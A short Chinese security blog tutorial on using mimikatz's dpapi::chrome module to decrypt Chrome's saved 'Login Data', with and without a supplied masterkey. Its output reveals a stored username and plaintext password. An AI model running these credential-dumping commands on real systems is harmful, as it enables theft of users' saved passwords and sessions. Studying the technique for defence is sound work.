因为之前的文章关于 dpapi 和 masterkey 的说明已经给出了, 故本文就不再赘述.
mimikatz 的 dpapi 模块支持一键导出 chrome 数据, 包括登录信息, 历史记录, cookies 等.
chrome 数据存放在 %localappdata%\Google\Chrome\User Data\Default\ 目录中.
其中几个比较重要的文件.
Bookmarks
Login Data
Cookies
History
以 Login Data 为例.
mimikatz # dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data"
URL : https://passport.aliyun.com/ ( https://passport.aliyun.com/mini_login.htm )
Username: admin
指定 masterkey 参数.
mimikatz # dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /masterkey:7daaec86a9ff317da98d8fa955bd9112b2adfd864552d2e64066820c42daa8a37ba8cf0b9f35d99b0b5d3d3e7ff6bbfe0a0b5e710473fb3a3e7aee056f2b6393
URL : https://passport.aliyun.com/ ( https://passport.aliyun.com/mini_login.htm )
Username: admin
* volatile cache: GUID:{f07bdf43-6d13-4957-94c0-bc0094da1667};KeyHash:f7d1c2f24e1d3a27c3becf10ed42acd890eb5e14
* masterkey : 7daaec86a9ff317da98d8fa955bd9112b2adfd864552d2e64066820c42daa8a37ba8cf0b9f35d99b0b5d3d3e7ff6bbfe0a0b5e710473fb3a3e7aee056f2b6393
Password: 123456
- By:X1r0z[exp10it.cn]
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论